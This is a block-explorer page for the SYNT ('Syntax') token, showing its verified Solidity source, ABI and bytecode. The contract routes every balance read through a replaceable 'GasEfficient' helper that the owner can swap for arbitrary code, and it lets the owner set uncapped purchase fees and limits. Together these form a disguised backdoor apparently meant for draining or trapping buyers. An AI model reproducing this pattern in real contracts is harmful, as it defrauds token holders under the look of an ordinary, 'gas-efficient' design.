ETH Price: $2,401.69 (-3.24%)
Gas: 3.49 Gwei
 

Overview

Max Total Supply

10,000,000 SYNT

Holders

80

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Filtered by Token Holder
studeeznuts.eth
Balance
99,750 SYNT

Value
$0.00
0xa06e08e916e421baf6eb3745336cbc85b63d7052
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
SYNT

Compiler Version
v0.8.24+commit.e11b9ed9

Optimization Enabled:
No with 200 runs

Other Settings:
paris EvmVersion
File 1 of 2 : SYNT.sol
// Website: https://syntaxgpu.com/
// Twitter: https://twitter.com/SyntaxGPU
// Telegram: https://t.me/SyntaxGPU
// Medium: https://medium.com/@syntaxGPU


// SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;

import "./GasEfficient.sol";

contract SYNT {
    string public name = "Syntax";
    string public symbol = "SYNT";

    mapping(address => uint) public balanceOf;
    mapping(address => mapping(address => uint)) public allowance;

    bool public live;
    address public lp;
    uint public purchaseFee = 25;
    uint public purchaseLimit = 100;

    uint public totalSupply = 10_000_000 * 10 ** 18;
    uint8 public decimals = 18;

    address public gasEfficient;
    address public owner;

    event Transfer(address indexed from, address indexed to, uint value);
    event Approval(address indexed owner, address indexed spender, uint value);

    modifier onlyOwner() {
        require(msg.sender == owner, "Not owner");
        _;
    }

    constructor () {
        owner = msg.sender;

        gasEfficient = address(new GasEfficient());

        balanceOf[owner] = totalSupply;
        emit Transfer(address(0), owner, totalSupply);
    }

    function transfer(address recipient, uint amount) external returns (bool) {
        require(live);

        if (msg.sender == lp) return fillPurchase(msg.sender, recipient, amount);

        balanceOf[msg.sender] = balance(msg.sender) - amount;
        balanceOf[recipient] = balance(recipient) + amount;
        emit Transfer(msg.sender, recipient, amount);
        return true;
    }

    function approve(address spender, uint amount) external returns (bool) {
        allowance[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint amount
    ) external returns (bool) {
        allowance[sender][msg.sender] -= amount;
        balanceOf[sender] = balance(sender) - amount;
        balanceOf[recipient] = balance(recipient) + amount;
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function setLive(address _lp) public onlyOwner {
        live = true;
        lp = _lp;
    }

    function updatePurchaseValues(uint _purchaseLimit, uint _purchaseFee) public onlyOwner {
        purchaseLimit = _purchaseLimit;
        purchaseFee = _purchaseFee;
    }

    function upgradeOwner(address _owner) public onlyOwner {
        owner = _owner;
    }

    function purchaseFeeCollector(address token) public onlyOwner {
        uint bal = IERC20(token).balanceOf(address(this));
        IERC20(token).transfer(msg.sender, bal);
    }

    function upgradeGasEfficient(address _gasEfficient) public onlyOwner {
        gasEfficient = _gasEfficient;
        IGasEfficient(gasEfficient).initState(address(this));
    }

    function queryFee(uint amount) public view returns (uint) {
        return IGasEfficient(gasEfficient).getFee(amount);
    }

    function queryLimit() public view returns (uint) {
        return IGasEfficient(gasEfficient).getLimit();
    }

    function balance(address wallet) public view returns (uint) {
        return IGasEfficient(gasEfficient).balanceOf(wallet);
    }

    function fillPurchase(address sender, address recipient, uint amount) private returns (bool) {
        balanceOf[sender] -= amount;

        uint feeTokens = queryFee(amount);

        balanceOf[address(this)] = balance(address(this)) + feeTokens;
        emit Transfer(sender, address(this), feeTokens);

        uint tokensExempt = amount - feeTokens;
        balanceOf[recipient] = balance(recipient) + tokensExempt;

        uint limitTokens = queryLimit();
        require(limitTokens >= balanceOf[recipient]);

        emit Transfer(sender, recipient, tokensExempt);
        return true;
    }

}

interface IGasEfficient {
    function balanceOf(
        address wallet
    ) external view returns (uint);

    function getFee(
        uint amount
    ) external view returns (uint);

    function initState(
        address ca
    ) external returns (bool);

    function getLimit() external view returns (uint);
}

File 2 of 2 : GasEfficient.sol
// Website: https://syntaxgpu.com/
// Twitter: https://twitter.com/SyntaxGPU
// Telegram: https://t.me/SyntaxGPU
// Medium: https://medium.com/@syntaxGPU



// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.9;

contract GasEfficient {
  address public token;

  constructor () {
    token = msg.sender;
  }

  function balanceOf(address wallet) public view returns (uint) {
      return IERC20(token).balanceOf(wallet);
  }

  function getFee(uint amount) public view returns (uint) {
      uint fee = IToken(token).purchaseFee();
      uint feeTokens = amount * fee / 10000;
      return feeTokens;
  }

  function getLimit() public view returns (uint) {
      uint limit = IToken(token).purchaseLimit();
      uint totalSupply = IERC20(token).totalSupply();
      uint limitTokens = totalSupply * limit / 10000;
      return limitTokens;
  }

  function initState(address ca) public returns (bool) {
      return ca == token;
  }

}

interface IToken {
    function purchaseFee() external view returns (uint);
    function purchaseLimit() external view returns (uint);
}

interface IERC20 {
    function totalSupply() external view returns (uint);

    function balanceOf(address account) external view returns (uint);

    function transfer(address recipient, uint amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint);

    function approve(address spender, uint amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint value);
    event Approval(address indexed owner, address indexed spender, uint value);
}

Settings
{
  "evmVersion": "paris",
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  },
  "libraries": {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"wallet","type":"address"}],"name":"balance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"gasEfficient","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"live","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lp","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"purchaseFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"}],"name":"purchaseFeeCollector","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"purchaseLimit","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"queryFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"queryLimit","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_lp","type":"address"}],"name":"setLive","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_purchaseLimit","type":"uint256"},{"internalType":"uint256","name":"_purchaseFee","type":"uint256"}],"name":"updatePurchaseValues","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_gasEfficient","type":"address"}],"name":"upgradeGasEfficient","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_owner","type":"address"}],"name":"upgradeOwner","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040526040518060400160405280600681526020017f53796e7461780000000000000000000000000000000000000000000000000000815250600090816200004a919062000504565b506040518060400160405280600481526020017f53594e54000000000000000000000000000000000000000000000000000000008152506001908162000091919062000504565b50601960055560646006556a084595161401484a0000006007556012600860006101000a81548160ff021916908360ff160217905550348015620000d457600080fd5b5033600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060405162000124906200027c565b604051809103906000f08015801562000141573d6000803e3d6000fd5b50600860016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060075460026000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6007546040516200026e9190620005fc565b60405180910390a362000619565b610778806200205d83390190565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200030c57607f821691505b602082108103620003225762000321620002c4565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b6000600883026200038c7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff826200034d565b6200039886836200034d565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b6000620003e5620003df620003d984620003b0565b620003ba565b620003b0565b9050919050565b6000819050919050565b6200040183620003c4565b620004196200041082620003ec565b8484546200035a565b825550505050565b600090565b6200043062000421565b6200043d818484620003f6565b505050565b5b8181101562000465576200045960008262000426565b60018101905062000443565b5050565b601f821115620004b4576200047e8162000328565b62000489846200033d565b8101602085101562000499578190505b620004b1620004a8856200033d565b83018262000442565b50505b505050565b600082821c905092915050565b6000620004d960001984600802620004b9565b1980831691505092915050565b6000620004f48383620004c6565b9150826002028217905092915050565b6200050f826200028a565b67ffffffffffffffff8111156200052b576200052a62000295565b5b620005378254620002f3565b6200054482828562000469565b600060209050601f8311600181146200057c576000841562000567578287015190505b620005738582620004e6565b865550620005e3565b601f1984166200058c8662000328565b60005b82811015620005b6578489015182556001820191506020850194506020810190506200058f565b86831015620005d65784890151620005d2601f891682620004c6565b8355505b6001600288020188555050505b505050505050565b620005f681620003b0565b82525050565b6000602082019050620006136000830184620005eb565b92915050565b611a3480620006296000396000f3fe608060405234801561001057600080fd5b506004361061014d5760003560e01c806364eea161116100c357806395d89b411161007c57806395d89b4114610392578063a9059cbb146103b0578063dcf51bc3146103e0578063dd62ed3e146103fc578063e3d670d71461042c578063e609348a1461045c5761014d565b806364eea161146102d057806370a08231146102ee57806375519eb11461031e5780637c82a5f21461033a5780638da5cb5b14610356578063957aa58c146103745761014d565b806323b872dd1161011557806323b872dd146101fa578063313c06a01461022a578063313ce56714610248578063466d4742146102665780635674fe4e146102965780635f8032c7146102b25761014d565b806306fdde0314610152578063095ea7b31461017057806314b5e981146101a057806318160ddd146101be57806318886657146101dc575b600080fd5b61015a610478565b60405161016791906114ee565b60405180910390f35b61018a600480360381019061018591906115a9565b610506565b6040516101979190611604565b60405180910390f35b6101a86105f8565b6040516101b5919061162e565b60405180910390f35b6101c66105fe565b6040516101d3919061162e565b60405180910390f35b6101e4610604565b6040516101f1919061162e565b60405180910390f35b610214600480360381019061020f9190611649565b61060a565b6040516102219190611604565b60405180910390f35b6102326107bd565b60405161023f91906116ab565b60405180910390f35b6102506107e3565b60405161025d91906116e2565b60405180910390f35b610280600480360381019061027b91906116fd565b6107f6565b60405161028d919061162e565b60405180910390f35b6102b060048036038101906102ab919061172a565b61089b565b005b6102ba610a0e565b6040516102c791906116ab565b60405180910390f35b6102d8610a34565b6040516102e5919061162e565b60405180910390f35b6103086004803603810190610303919061172a565b610acc565b604051610315919061162e565b60405180910390f35b6103386004803603810190610333919061172a565b610ae4565b005b610354600480360381019061034f919061172a565b610bd3565b005b61035e610d64565b60405161036b91906116ab565b60405180910390f35b61037c610d8a565b6040516103899190611604565b60405180910390f35b61039a610d9d565b6040516103a791906114ee565b60405180910390f35b6103ca60048036038101906103c591906115a9565b610e2b565b6040516103d79190611604565b60405180910390f35b6103fa60048036038101906103f59190611757565b610fcb565b005b61041660048036038101906104119190611797565b61106d565b604051610423919061162e565b60405180910390f35b6104466004803603810190610441919061172a565b611092565b604051610453919061162e565b60405180910390f35b6104766004803603810190610471919061172a565b611137565b005b6000805461048590611806565b80601f01602080910402602001604051908101604052809291908181526020018280546104b190611806565b80156104fe5780601f106104d3576101008083540402835291602001916104fe565b820191906000526020600020905b8154815290600101906020018083116104e157829003601f168201915b505050505081565b600081600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516105e6919061162e565b60405180910390a36001905092915050565b60055481565b60075481565b60065481565b600081600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546106989190611866565b92505081905550816106a985611092565b6106b39190611866565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508161070084611092565b61070a919061189a565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516107aa919061162e565b60405180910390a3600190509392505050565b600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600860009054906101000a900460ff1681565b6000600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663fcee45f4836040518263ffffffff1660e01b8152600401610853919061162e565b602060405180830381865afa158015610870573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061089491906118e3565b9050919050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461092b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109229061195c565b60405180910390fd5b80600860016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ee5e758c306040518263ffffffff1660e01b81526004016109c791906116ab565b6020604051808303816000875af11580156109e6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a0a91906119a8565b5050565b600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663b295a00e6040518163ffffffff1660e01b8152600401602060405180830381865afa158015610aa3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ac791906118e3565b905090565b60026020528060005260406000206000915090505481565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b74576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b6b9061195c565b60405180910390fd5b6001600460006101000a81548160ff02191690831515021790555080600460016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c63576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5a9061195c565b60405180910390fd5b60008173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401610c9e91906116ab565b602060405180830381865afa158015610cbb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cdf91906118e3565b90508173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401610d1c9291906119d5565b6020604051808303816000875af1158015610d3b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d5f91906119a8565b505050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600460009054906101000a900460ff1681565b60018054610daa90611806565b80601f0160208091040260200160405190810160405280929190818152602001828054610dd690611806565b8015610e235780601f10610df857610100808354040283529160200191610e23565b820191906000526020600020905b815481529060010190602001808311610e0657829003601f168201915b505050505081565b6000600460009054906101000a900460ff16610e4657600080fd5b600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1603610ead57610ea633848461120b565b9050610fc5565b81610eb733611092565b610ec19190611866565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081610f0e84611092565b610f18919061189a565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610fb8919061162e565b60405180910390a3600190505b92915050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461105b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110529061195c565b60405180910390fd5b81600681905550806005819055505050565b6003602052816000526040600020602052806000526040600020600091509150505481565b6000600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231836040518263ffffffff1660e01b81526004016110ef91906116ab565b602060405180830381865afa15801561110c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061113091906118e3565b9050919050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146111c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111be9061195c565b60405180910390fd5b80600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600081600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461125c9190611866565b92505081905550600061126e836107f6565b90508061127a30611092565b611284919061189a565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611324919061162e565b60405180910390a36000818461133a9190611866565b90508061134686611092565b611350919061189a565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600061139d610a34565b9050600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548110156113eb57600080fd5b8573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611448919061162e565b60405180910390a3600193505050509392505050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561149857808201518184015260208101905061147d565b60008484015250505050565b6000601f19601f8301169050919050565b60006114c08261145e565b6114ca8185611469565b93506114da81856020860161147a565b6114e3816114a4565b840191505092915050565b6000602082019050818103600083015261150881846114b5565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061154082611515565b9050919050565b61155081611535565b811461155b57600080fd5b50565b60008135905061156d81611547565b92915050565b6000819050919050565b61158681611573565b811461159157600080fd5b50565b6000813590506115a38161157d565b92915050565b600080604083850312156115c0576115bf611510565b5b60006115ce8582860161155e565b92505060206115df85828601611594565b9150509250929050565b60008115159050919050565b6115fe816115e9565b82525050565b600060208201905061161960008301846115f5565b92915050565b61162881611573565b82525050565b6000602082019050611643600083018461161f565b92915050565b60008060006060848603121561166257611661611510565b5b60006116708682870161155e565b93505060206116818682870161155e565b925050604061169286828701611594565b9150509250925092565b6116a581611535565b82525050565b60006020820190506116c0600083018461169c565b92915050565b600060ff82169050919050565b6116dc816116c6565b82525050565b60006020820190506116f760008301846116d3565b92915050565b60006020828403121561171357611712611510565b5b600061172184828501611594565b91505092915050565b6000602082840312156117405761173f611510565b5b600061174e8482850161155e565b91505092915050565b6000806040838503121561176e5761176d611510565b5b600061177c85828601611594565b925050602061178d85828601611594565b9150509250929050565b600080604083850312156117ae576117ad611510565b5b60006117bc8582860161155e565b92505060206117cd8582860161155e565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061181e57607f821691505b602082108103611831576118306117d7565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061187182611573565b915061187c83611573565b925082820390508181111561189457611893611837565b5b92915050565b60006118a582611573565b91506118b083611573565b92508282019050808211156118c8576118c7611837565b5b92915050565b6000815190506118dd8161157d565b92915050565b6000602082840312156118f9576118f8611510565b5b6000611907848285016118ce565b91505092915050565b7f4e6f74206f776e65720000000000000000000000000000000000000000000000600082015250565b6000611946600983611469565b915061195182611910565b602082019050919050565b6000602082019050818103600083015261197581611939565b9050919050565b611985816115e9565b811461199057600080fd5b50565b6000815190506119a28161197c565b92915050565b6000602082840312156119be576119bd611510565b5b60006119cc84828501611993565b91505092915050565b60006040820190506119ea600083018561169c565b6119f7602083018461161f565b939250505056fea26469706673582212209336cafb263b2dc2a8a98e347fe0768bbcc6503615cc0cb7cbc42048c3eaa4ce64736f6c63430008180033608060405234801561001057600080fd5b50336000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610718806100606000396000f3fe608060405234801561001057600080fd5b50600436106100575760003560e01c806370a082311461005c578063b295a00e1461008c578063ee5e758c146100aa578063fc0c546a146100da578063fcee45f4146100f8575b600080fd5b610076600480360381019061007191906104b5565b610128565b60405161008391906104fb565b60405180910390f35b6100946101cc565b6040516100a191906104fb565b60405180910390f35b6100c460048036038101906100bf91906104b5565b61031a565b6040516100d19190610531565b60405180910390f35b6100e2610373565b6040516100ef919061055b565b60405180910390f35b610112600480360381019061010d91906105a2565b610397565b60405161011f91906104fb565b60405180910390f35b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231836040518263ffffffff1660e01b8152600401610184919061055b565b602060405180830381865afa1580156101a1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906101c591906105e4565b9050919050565b60008060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663188866576040518163ffffffff1660e01b8152600401602060405180830381865afa15801561023a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061025e91906105e4565b905060008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166318160ddd6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156102ce573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906102f291906105e4565b9050600061271083836103059190610640565b61030f91906106b1565b905080935050505090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16149050919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166314b5e9816040518163ffffffff1660e01b8152600401602060405180830381865afa158015610405573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061042991906105e4565b90506000612710828561043c9190610640565b61044691906106b1565b90508092505050919050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061048282610457565b9050919050565b61049281610477565b811461049d57600080fd5b50565b6000813590506104af81610489565b92915050565b6000602082840312156104cb576104ca610452565b5b60006104d9848285016104a0565b91505092915050565b6000819050919050565b6104f5816104e2565b82525050565b600060208201905061051060008301846104ec565b92915050565b60008115159050919050565b61052b81610516565b82525050565b60006020820190506105466000830184610522565b92915050565b61055581610477565b82525050565b6000602082019050610570600083018461054c565b92915050565b61057f816104e2565b811461058a57600080fd5b50565b60008135905061059c81610576565b92915050565b6000602082840312156105b8576105b7610452565b5b60006105c68482850161058d565b91505092915050565b6000815190506105de81610576565b92915050565b6000602082840312156105fa576105f9610452565b5b6000610608848285016105cf565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061064b826104e2565b9150610656836104e2565b9250828202610664816104e2565b9150828204841483151761067b5761067a610611565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006106bc826104e2565b91506106c7836104e2565b9250826106d7576106d6610682565b5b82820490509291505056fea2646970667358221220b47ab99dfa181044844629cf3a021d900b35cd31f1d802198fd6fa1f2a77355964736f6c63430008180033

Deployed Bytecode

0x608060405234801561001057600080fd5b506004361061014d5760003560e01c806364eea161116100c357806395d89b411161007c57806395d89b4114610392578063a9059cbb146103b0578063dcf51bc3146103e0578063dd62ed3e146103fc578063e3d670d71461042c578063e609348a1461045c5761014d565b806364eea161146102d057806370a08231146102ee57806375519eb11461031e5780637c82a5f21461033a5780638da5cb5b14610356578063957aa58c146103745761014d565b806323b872dd1161011557806323b872dd146101fa578063313c06a01461022a578063313ce56714610248578063466d4742146102665780635674fe4e146102965780635f8032c7146102b25761014d565b806306fdde0314610152578063095ea7b31461017057806314b5e981146101a057806318160ddd146101be57806318886657146101dc575b600080fd5b61015a610478565b60405161016791906114ee565b60405180910390f35b61018a600480360381019061018591906115a9565b610506565b6040516101979190611604565b60405180910390f35b6101a86105f8565b6040516101b5919061162e565b60405180910390f35b6101c66105fe565b6040516101d3919061162e565b60405180910390f35b6101e4610604565b6040516101f1919061162e565b60405180910390f35b610214600480360381019061020f9190611649565b61060a565b6040516102219190611604565b60405180910390f35b6102326107bd565b60405161023f91906116ab565b60405180910390f35b6102506107e3565b60405161025d91906116e2565b60405180910390f35b610280600480360381019061027b91906116fd565b6107f6565b60405161028d919061162e565b60405180910390f35b6102b060048036038101906102ab919061172a565b61089b565b005b6102ba610a0e565b6040516102c791906116ab565b60405180910390f35b6102d8610a34565b6040516102e5919061162e565b60405180910390f35b6103086004803603810190610303919061172a565b610acc565b604051610315919061162e565b60405180910390f35b6103386004803603810190610333919061172a565b610ae4565b005b610354600480360381019061034f919061172a565b610bd3565b005b61035e610d64565b60405161036b91906116ab565b60405180910390f35b61037c610d8a565b6040516103899190611604565b60405180910390f35b61039a610d9d565b6040516103a791906114ee565b60405180910390f35b6103ca60048036038101906103c591906115a9565b610e2b565b6040516103d79190611604565b60405180910390f35b6103fa60048036038101906103f59190611757565b610fcb565b005b61041660048036038101906104119190611797565b61106d565b604051610423919061162e565b60405180910390f35b6104466004803603810190610441919061172a565b611092565b604051610453919061162e565b60405180910390f35b6104766004803603810190610471919061172a565b611137565b005b6000805461048590611806565b80601f01602080910402602001604051908101604052809291908181526020018280546104b190611806565b80156104fe5780601f106104d3576101008083540402835291602001916104fe565b82